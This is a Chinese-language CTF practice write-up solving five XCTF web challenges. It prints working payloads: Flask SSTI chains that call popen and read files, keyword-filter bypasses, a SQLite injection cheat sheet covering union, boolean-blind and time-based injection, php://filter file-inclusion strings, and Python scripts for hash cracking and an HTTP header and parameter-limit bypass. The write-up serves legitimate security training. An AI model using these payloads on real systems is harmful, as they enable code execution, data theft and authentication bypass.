练习平台地址
今日练习题目
XCTF-Confusion1(python flask框架)
相关知识
flask SSTI注入利用
在flask SSTI漏洞中,{{x}}里面的代码将会执行
flask SSTI简单框架
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def index():
key = request.args.get("key")
temp = """
<body>
{}
</body>
""".format(key)
return render_template_string(temp)
if __name__ == "__main__":
app.run()
利用案例
SSTI小技巧
1.如果[]索引被过滤,可以用getitem ()或者get方法来进行替换
print('abc'.__class__.__base__.__subclasses__().__getitem__(134))
2.如果引号被过滤可以采用以下方式在url中实现
?key={{'abc'.__class__.__base__.__subclasses__().__getitem__(134).__init__.__globals__.get(request.args.a)(request.args.b).read()}}&a=popen&b=dir
3.如果关键字被过滤,可以通过getattribute(''+'cla'+'ss'+'')类似的手法进行绕过
# "".__class__.__mro__[2].__subclasses__()[40]('pass.txt').read()
{ %7B %7D}
# %7B%7B""[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()%7D%7D?a=__class__&b=__mro__&c=__subclasses__&d=read
题目描述
python比PHP好,图片蟒蛇捆大象(python比php好)
尝试点击可以交互的地方,F12检查
获取到信息,存在两个文件
/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt
/opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt
尝试一下SSTI注入,因为已经没有其他有交互的地方了
发现确实存在SSTI注入,使用BP抓包
测试一下
login.php%7B%7B"".__class__7D%7D
可能是引号过滤也可能是__class__过滤,我们分别尝试一下
这里用传值的方式尝试绕过
%7B%7B""[request.args.a]%7D%7D?a=__class__
%7B%7B""[request.args.a][request.args.b]%7D%7D?a=__class__&b=__mro__
%7B%7B""[request.args.a][request.args.b][2][request.args.c]%7D%7D?a=__class__&b=__mro__&c=__subclasses__(python3这里的2要变成1)
注意:
这里__mro__方法出现了三个,说明这里是python2
如果出现了两个,才是python3
结合之前获取到的路径进一步利用
python2
%7B%7B""[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')%7D%7D?a=__class__&b=__mro__&c=__subclasses__
python3
%7B%7B"".[request.args.a][request.args.b][0][request.args.c]()[134][request.args.d][request.args.e]['[request.args.f]']['open']('xxx').[request.args.g]()%7D%7D&a=__class__&b=__bases__&c=__subclasses__&d=__init__&e=__globals__&f=__builtins__&g=read
可以发现这时open file就是一个对象,再传一个read()方法就可以了
%7B%7B""[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()%7D%7D?a=__class__&b=__mro__&c=__subclasses__&d=read
flag
cyberpeace{ea56680cffe48b24f3c6f9c26a626090}
XCTF-FlatScience
点击页面跳转都是PDF,F12检查也没有发现信息,Header中也没有
目录扫描
访问robots.txt,发现有login.php和admin.php
访问login.php
#报错
使用--+后跳转回到了首页
访问admin.php
应该也不存在sql注入,F12检查
login.php
admin.php
尝试在login.php中添加remove的debug参数
login.php?debug=xxx
得到了login.php的源码
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>
发现使用的是sqlite数据库且没有对POST传入的参数进行过滤
而且如果查询成功会把name写入到Cookie当中
BP抓包进行sqlite注入
常规sqlite注入
#查询字段数
-1' union select 1,2,3;
1' order by 3;
#查版本
0' union select 1,2,sqlite_version();
#查询表名和列名 通过查询 sqlite_master 表来实现:
-1' union select 1,2,(select sql from sqlite_master limit 0,1),4;
#当存在多个表时,我们可以用 limit 关键字逐行读取,也可以使用 group_concat 关键字进行聚合:
-1' union select 1,2,(select group_concat(sql) from sqlite_master),4;
0' union select 1,2,tbl_name FROM sqlite_master limit 2 offset 1 --
#查询数据
-1' union select 1,2,(select group_concat(username,password) from table_name),4;布尔盲注
#根据查询正确或错误时的页面回显来判断数据内容:
-1' or length(sqlite_version())=5/*
-1' or length(sqlite_version())=6/*-1' or substr((select group_concat(sql) from sqlite_master),1,1)>'a'/*
-1' or substr((select group_concat(sql) from sqlite_master),1,1)<'a'/*
-1' or substr((select group_concat(sql) from sqlite_master),2,1)>'b'/*
-1' or substr((select group_concat(sql) from sqlite_master),2,1)<'b'/*
-1' or substr((select group_concat(sql) from sqlite_master),3,1)>'C'/*
-1' or substr((select group_concat(sql) from sqlite_master),3,1)<'C'/*
......时间盲注
#QLite 没有 sleep() 函数,但是有个 randomblob(N) 函数,其作用是返回一个 N 字节长的包含伪随机字节的 BLOG。 N 是正整数。可以用它来制造延时。
并且 SQLite 没有 if,所以我们需要使用 case...when 来构造查询语句:
-1' or (case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end)/*
构造payload
usr=' union select name,sql from sqlite_master--&pw=''
查看Cookie
得到创建数据库的语句
CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))
构造payload
执行的查询语句
"SELECT id,name from Users where name='".$user."' and password='"
usr=' union select id,id from Users limit 0,1--&pw=''
usr=' union select id,name from Users limit 0,1--&pw=''
usr=' union select id,passwd from Users limit 0,1--&pw=''
usr=' union select id,hint from Users limit 0,1--&pw=''
查询到的数据
id | name | passwd | hint |
1 | admin | 3fab54a50e770d830c0416df817567662a9dc85c | my fav word in my fav paper?! |
2 | fritze | 54eae8935c90f467427f05e4ece82cf569f89507 | my love is…? |
3 | hansi | 34b0bb7c304949f9ff2fc101eef0f048be10d3bd | the password is password |
可以猜测passwd是md5加密的,尝试解密
结合之前的代码猜测Salz!是拼接上去的
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
passwd
ThinJerboa
成功登录得到flag
flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}
sqlite注入结束,但是并没有得到flag
这里已经没有头绪了,在网上找一篇WP
import requests
import re
import os
import sys
re1 = '[a-fA-F0-9]{32,32}.pdf'
re2 = '[0-9\/]{2,2}index.html'
pdf_list = []
def get_pdf(url):
global pdf_list
print(url)
req = requests.get(url).text
re_1 = re.findall(re1,req)
for i in re_1:
pdf_url = url+i
pdf_list.append(pdf_url)
re_2 = re.findall(re2,req)
for j in re_2:
new_url = url+j[0:2]
get_pdf(new_url)
return pdf_list
# return re_2
pdf_list = get_pdf('http://220.249.52.133:46876/')
print(pdf_list)
for i in pdf_list:
os.system('wget '+i)
from io import StringIO
#python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request
def get_pdf():
return [i for i in os.listdir("./") if i.endswith("pdf")]
def convert_pdf_to_txt(path_to_file):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
codec = 'utf-8'
laparams = LAParams()
device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
fp = open(path_to_file, 'rb')
interpreter = PDFPageInterpreter(rsrcmgr, device)
password = ""
maxpages = 0
caching = True
pagenos=set()
for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
interpreter.process_page(page)
text = retstr.getvalue()
fp.close()
device.close()
retstr.close()
return text
def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print ("Searching word in " + i)
pdf_text = convert_pdf_to_txt("./"+i).split(" ")
for word in pdf_text:
sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
print ("Find the password :" + word)
exit()
if __name__ == "__main__":
find_password()
运行得到passwd
ThinJerboa
flag
flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}
XCTF-文件包含(php伪协议交叉爆破)
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
这个很简单就是传一个参数文件包含
常用的php伪协议
php://filter/resource=flag.php
php://filter/read=convert.base64-encode/resource=flag.php
php://filter/convert.iconv.utf8.utf8/resource=flag.php
测试发现应该使用第三个伪协议
php://filter/convert.iconv.utf8.utf8/resource=flag.php
常见的编码方式
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
使用BP交叉爆破
flag
cyberpeace{9406ea38899556b58756ff5f3e9befa6}
XCTF-ezbypass-cat
直接尝试登录
发现密码进行了加密
F12检查网页
搜索password看能否得到password的加密方式
加密方式
确实是这个加密方法
继续查看文件发现使用了旧版的华夏ERP
华夏ERP漏洞复现相关知识
成功获取了管理员账号和密码
admin
415aa80ba12ac6c993b0b930f8869a29
密码解密失败
那么我们尝试直接读取flag
访问flag.php发现不存在,那我们尝试目录扫描(最后扫到了flag.html)
flag
cyberpeace{3d00ecd3f06f14027613220ef137e529}
XCTF-ez_curl
下载附件是一个app.js的文件,内容如下
const express = require('express');
const app = express();
const port = 3000;
const flag = process.env.flag;
app.get('/flag', (req, res) => {
if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
res.send(flag);
}else{
res.send('try hard');
}
});
app.listen({ port: port , host: '0.0.0.0'});
app. js代码分析
很明显这就是让我们绕过这个判断条件从而发送flag,否则打印'try hard'
// admin=true 'true' ' true' ' xtrue'都是符合的!req.query.admin.includes('false') && req.headers.admin.includes('true')
网页php代码分析
第一个判断
<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
// 通过POST方式执行命令
$input = file_get_contents('php://input');
// 取出headers转换成数组
$headers = (array)json_decode($input)->headers;
// 将headers进行分割,':'前是key,后是value
for ($i = 0; $i < count($headers); $i++) {
$offset = stripos($headers[$i], ':');
$key = substr($headers[$i], 0, $offset);
$value = substr($headers[$i], $offset + 1);
// key要包含admin,value要包含true
if (stripos($key, 'admin') > -1 && stripos($value, 'true') > -1) {
die('try hard');
}
}
js和php中的判断条件看起来是冲突的,我们可以利用js的解析方式构造payload
{"headers":["admin: true"]}
符合app.js但不符合php
{"headers":["admin: x", " true: y"]}
两者都符合,app.js解析出来结果是{admin : "x true y"}
第二个判断
这里存在一个字符串会和我们传入的参数进行拼接,一旦拼接,app.js就无法绕过
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
阻止拼接
相关知识
- express的parameterLimit默认为1000
- 根据rfc,header字段可以通过在每一行前面至少加一个SP或HT来扩展到多行
python脚本
import requests
import json
url = "http://61.147.171.105:62277/"
datas = {
"headers": ["adminn: t", " true: t"],
"params": {"admin": "true"}
}
for i in range(10001):
datas["params"]["x" + str(i)] = str(i)
print(datas)
# data = json.dumps(datas)
# result = requests.post(url, data=data)
# print(result.text)
其他文章的python脚本
import requests
import json
from abc import ABC
from flask.sessions import SecureCookieSessionInterface
url = "http://61.147.171.105:62277/" # 定义目标 URL
# 定义要发送的数据
datas = {
"headers": ["xx:xx\nadmin: true", "Content-Type: application/json"], # 请求头部信息
"params": {"admin": "true"} # 请求参数
}
# 向请求参数中添加 1020 个键值对
for i in range(1020):
datas["params"]["x" + str(i)] = i
headers = {
"Content-Type": "application/json" # 定义 HTTP 头部信息,指定内容类型为 JSON
}
# 将数据转换为 JSON 格式
json1 = json.dumps(datas)
print(json1) # 打印 JSON 数据
# 发送 POST 请求
resp = requests.post(url, headers=headers, data=json1)
# 打印响应内容
print(resp.content)
flag
CatCTF{23aaaab824aadf15eb19f4236f3e3b51}